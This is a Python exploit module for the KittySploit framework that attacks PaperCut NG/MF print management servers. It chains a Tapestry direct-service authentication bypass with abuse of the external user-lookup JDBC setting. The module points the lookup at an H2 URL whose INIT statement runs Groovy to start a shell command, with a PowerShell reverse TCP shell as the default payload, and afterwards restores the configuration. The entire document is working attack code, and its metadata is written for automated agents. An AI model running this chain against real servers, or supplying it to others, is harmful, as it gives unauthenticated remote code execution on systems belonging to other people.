PaperCut NG/MF Pre-Auth RCE (CVE-2026-81578 + CVE-2026-82078)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PaperCut NG/MF auth bypass + external user lookup RCE (CVE-2026-81578 + CVE-2026-82078)."""

from __future__ import annotations

import base64
import re
import secrets
from typing import Any, Dict, Optional

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "PaperCut NG/MF Pre-Auth RCE (CVE-2026-81578 + CVE-2026-82078)",
        "description": (
            "Chains CVE-2026-81578 Tapestry direct-service auth bypass with "
            "CVE-2026-82078 external user-lookup JDBC abuse. On PaperCut 26.x, "
            "reconfigures H2 INIT SQL to evaluate Groovy that launches a shell "
            "command, then restores factory lookup settings."
        ),
        "author": ["KittySploit Team", "sfewer-r7"],
        "cve": ["CVE-2026-81578", "CVE-2026-82078"],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
            "platform": [Platform.WINDOWS, Platform.UNIX, Platform.MULTI],
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-81578",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-82078",
            "https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/",
            "https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/",
        ],
        "tags": [
            "papercut",
            "tapestry",
            "jdbc",
            "h2",
            "unauthenticated",
            "rce",
            "cve-2026-81578",
            "cve-2026-82078",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 12,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "requires": {
                "tech_hints_any": ["papercut"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "H2 INIT Groovy"},
                ],
                "suggested_followups": [
                    "scanner/http/papercut_cve_2026_81578_detect",
                    "scanner/http/papercut_cve_2026_82078_detect",
                ],
            },
        },
    }

    port = OptPort(9191, "PaperCut HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    command = OptString("", "Command instead of selected payload", False)
    shell = OptChoice(
        "windows",
        "Shell wrapper for ProcessBuilder",
        False,
        choices=["windows", "unix"],
        advanced=True,
    )
    restore_config = OptBool(True, "Restore user-lookup defaults after exploit", False, advanced=True)

    def _origin(self) -> str:
        scheme = "https" if bool(self.ssl) else "http"
        return f"{scheme}://{self.target}:{int(self.port)}"

    def _home_ok(self, response) -> bool:
        return bool(response and int(response.status_code or 0) == 200 and "PaperCut" in (response.text or ""))

    def _direct(self, component_page: str, component_path: str, data: Optional[Dict[str, str]] = None):
        token = secrets.token_hex(4)
        path = f"/app?service=direct/1/Home/{component_page}/{component_path}"
        headers = {"Origin": self._origin(), "Referer": f"{self._origin()}/app"}
        return self.http_request(
            method="POST",
            path=path,
            headers=headers,
            data=data or {},
            allow_redirects=False,
        )

    def _papercut_major(self) -> int:
        response = self.http_request(
            method="GET",
            path="/app?service=page/Error",
            allow_redirects=True,
        )
        body = (response.text or "") if response else ""
        match = re.search(r"PaperCut\s+(?:NG|MF)\s+(\d+)\.", body)
        return int(match.group(1)) if match else 26

    @staticmethod
    def _h2_escape(statement: str) -> str:
        return statement.replace("\\", "\\\\").replace(";", "\\;")

    @staticmethod
    def _h2_statement(groovy_source: str) -> str:
        escaped = groovy_source.replace("'", "''")
        return f"CREATE ALIAS PCEXEC FOR 'groovy.util.Eval.me(java.lang.String)';CALL PCEXEC('{escaped}')"

    def _groovy_command(self, command: str) -> str:
        encoded = base64.b64encode(command.encode()).decode()
        shell = str(self.shell or "windows").strip().lower()
        if shell == "unix":
            argv = '["/bin/sh","-c",cmd]'
        else:
            argv = '["cmd.exe","/d","/s","/c",cmd]'
        token = secrets.token_hex(4)
        return (
            "def cmd=new String("
            f"java.util.Base64.getDecoder().decode('{encoded}'),"
            "java.nio.charset.StandardCharsets.UTF_8);"
            f"new ProcessBuilder({argv} as String[]).start();"
            f"'{token}'"
        )

    def _update_config(self, name: str, value: str) -> bool:
        find = self._direct(
            "ConfigEditor",
            "quickFindForm",
            {
                "sp": "S0",
                "Form0": "$TextField,doQuickFind,clear",
                "$TextField": name,
                "doQuickFind": "Go",
            },
        )
        if not self._home_ok(find):
            return False
        if name == "user-lookup.id-to-username-sql":
            form = {
                "sp": "S1",
                "Form1": "$TextField$0,$Submit,$Submit$0,$TextField$0$0,$Submit$1,$Submit$0$0",
                "$TextField$0": value,
                "$TextField$0$0": "USERNAME",
                "$Submit": "Update",
            }
        else:
            form = {
                "sp": "S1",
                "Form1": "$TextField$0,$Submit,$Submit$0",
                "$TextField$0": value,
                "$Submit": "Update",
            }
        save = self._direct("ConfigEditor", "$Form", form)
        return self._home_ok(save)

    def _trigger_lookup(self, card: str) -> None:
        self._direct(
            "UserList",
            "$QuickFind.$Form",
            {
                "sp": "S0",
                "Form0": "$TextField,$Submit,$Submit$0",
                "$TextField": card,
                "$Submit": "Go",
            },
        )

    def _restore_defaults(self) -> None:
        defaults = {
            "user-lookup.enabled": "N",
            "user-lookup.id-to-username-sql": "select user_name from users_table where card_number = {cardnumber}",
            "user-lookup.db-url": "",
            "user-lookup.db-driver": "",
        }
        for key, value in defaults.items():
            self._update_config(key, value)

    def run(self):
        home = self.http_request(method="GET", path="/app", allow_redirects=True)
        if not self._home_ok(home):
            print_error("PaperCut Home page not reachable")
            return False

        major = self._papercut_major()
        if major < 24:
            print_error(f"PaperCut major version {major} not supported by this module")
            return False
        if major < 26:
            print_error("PaperCut <26 requires Derby bootstrap class drop; use Metasploit module for full support")
            return False

        command = str(self.command or "").strip()
        if not command:
            command = str(getattr(self, "payload", "") or "whoami")

        groovy = self._groovy_command(command)
        db_name = secrets.token_hex(4)
        jdbc_url = f"jdbc:h2:mem:{db_name};INIT={self._h2_escape(self._h2_statement(groovy))}"
        if len(jdbc_url) > 1024:
            print_error("Generated H2 JDBC URL exceeds PaperCut 1024-char limit")
            return False

        exploit_config = {
            "user-lookup.db-driver": "org.h2.Driver",
            "user-lookup.db-url": jdbc_url,
            "user-lookup.id-to-username-sql": "VALUES CAST({cardnumber} AS VARCHAR(32672))",
            "user-lookup.enabled": "Y",
        }

        try:
            for key, value in exploit_config.items():
                if not self._update_config(key, value):
                    print_error(f"Failed to set config key {key}")
                    return False
            self._trigger_lookup(secrets.token_hex(8))
            self.set_info(
                severity="critical",
                reason="PaperCut external user lookup chain triggered (H2 INIT Groovy)",
                command=command,
            )
            return True
        finally:
            if bool(self.restore_config):
                self._restore_defaults()